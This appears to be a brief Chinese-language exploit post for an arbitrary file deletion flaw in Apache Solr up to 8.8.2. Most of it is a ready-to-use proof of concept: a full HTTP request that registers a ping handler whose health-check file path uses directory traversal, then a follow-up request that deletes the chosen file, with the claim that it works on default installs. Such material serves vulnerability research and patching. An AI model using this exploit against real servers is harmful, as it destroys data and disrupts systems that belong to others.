Apache Solr<= 8.8.2 (最新) 任意文件删除

# Apache Solr<= 8.8.2 (最新) 任意文件删除 Apache Solr全版本存在任意文件删除漏洞，在Solr默认安装后无需任何其它配置即可删除系统任意文件。 影响版本： Apache Solr < = 8.8.2 poc： ``` POST /solr/db/config HTTP/1.1 Host: 192.168.33.130:8983 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-type:application/json Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Length: 218 { "add-requesthandler": { "name": "/testping", "class":"solr.PingRequestHandler", "defaults":{"echoParams":"explicit"}, "healthcheckFile":"../../../../../../../../../../../../../aaa.txt", } } 检查创建是否成功: http://target/solr/db/config/overlay?omitHeader=true 访问： http://target/solr/db/testping?action=DISABLE 文件已成功删除。 ``` 详情可以参考：https://mp.weixin.qq.com/s/dECH74n5qjrWT9lok8IkPQ ref： https://nox.qianxin.com/vulnerability/detail/98218